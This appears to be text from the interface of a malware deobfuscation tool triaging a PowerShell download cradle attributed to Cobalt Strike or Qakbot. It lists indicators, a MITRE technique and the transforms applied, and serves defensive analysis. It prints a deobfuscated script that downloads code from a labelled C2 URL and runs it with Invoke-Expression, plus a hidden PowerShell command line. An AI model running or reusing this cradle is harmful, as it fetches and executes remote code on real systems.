SPECIALTY RE: OBFUSCATED SCRIPT STUDIO

Obfuscated Scripts Studio

Multi-layer automated deobfuscator for malicious PowerShell, VBScript MSBuild droppers, and HTA payload triage. Unpack Base64 cradles, resolve format strings, strip backticks, and extract AST indicators.

Script Engine

PowerShell

Cobalt Strike / Qakbot Cradle

Deobfuscation Depth

3 Transformation Layers

Active: Layer #2

Extracted IOCs

2 Indicators

C2 & Dropped Paths

MITRE Technique

T1059.001 (PowerShell)

Command & Scripting

Layer 2: Clean Normalized AST

Resolved aliases: IEX -> Invoke-Expression, explicit WebClient initialization with TLS 1.2 support.

[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
$webClient = New-Object System.Net.WebClient;
$webClient.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
$payloadScript = $webClient.DownloadString('http://d3c1938.cloudfront.net/__utm.gif');
Invoke-Expression -Command $payloadScript;

Extracted Payload Indicators (IOCs)

C2 URL

http://d3c1938.cloudfront.net/__utm.gif

Spawned Subprocess

powershell.exe -NoP -NonI -W Hidden

CERBERUS AST Transforms Applied

Base64 Decode (-enc / -EncodedCommand)

Format String Substitution (`-f` tokens)

Backtick / Concatenation Normalization

Alias Expansion (IEX -> Invoke-Expression)